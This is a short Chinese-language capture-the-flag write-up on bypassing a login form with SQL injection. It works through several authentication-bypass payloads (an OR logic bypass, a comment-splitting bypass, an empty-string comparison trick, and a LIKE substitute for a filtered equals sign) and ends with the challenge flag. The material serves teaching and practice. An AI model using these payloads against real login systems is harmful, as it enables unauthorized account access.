/* 这道题很水不过也值得总结下 */
打开界面
1. 我尝试输入 admin admin 竟然出 flag 了... 这应该不是作者本意
2. 好了 言归正传 我猜测后台逻辑应该是这样的:
select * from table where username= 'user' and password = 'pass'
3.1 利用逻辑绕过 构造 payload admin' or 1=1--+
输入后发现并没有进入, 猜测应该是过滤了'or' 或者'-' 或者'+'
3.2 利用注释绕过 构造 payload 用户名: admin/*asd 密码 asd*/#
select * from table where username= 'admin'/*'and password ='asd*/#'发现登录成功, 说明没有过滤'#', 尝试将 #换成'--+'也能成功绕过, 也就是说仅过滤了'or', 如果过滤了'or''#' '-' '+' 怎么绕过
如果你尝试把 payload 用户名: exp/*asd 密码 asd*/# 你会发现不能绕过, 究其原因是数据库里面没有'exp'
此时机智的你又想到如果数据库里没有'admin'又该怎么绕过,
3.3 进阶的逻辑绕过 构造 payload 用户名: exp'=' 密码 exp'='
select * from table where username= 'exp'=''and password ='exp'=''
发现登陆成功, 因为数据库里没有'exp' sql 从左向右执行, 故 false='' 为真
4.4 如果过滤 '=' 等号替换成 like
select * from table where username= 'exp'like''and password ='exp'like''
这样也能成功绕过
flag: htryyujryfhyjtrjn
来源: http://www.bubuko.com/infodetail-2990354.html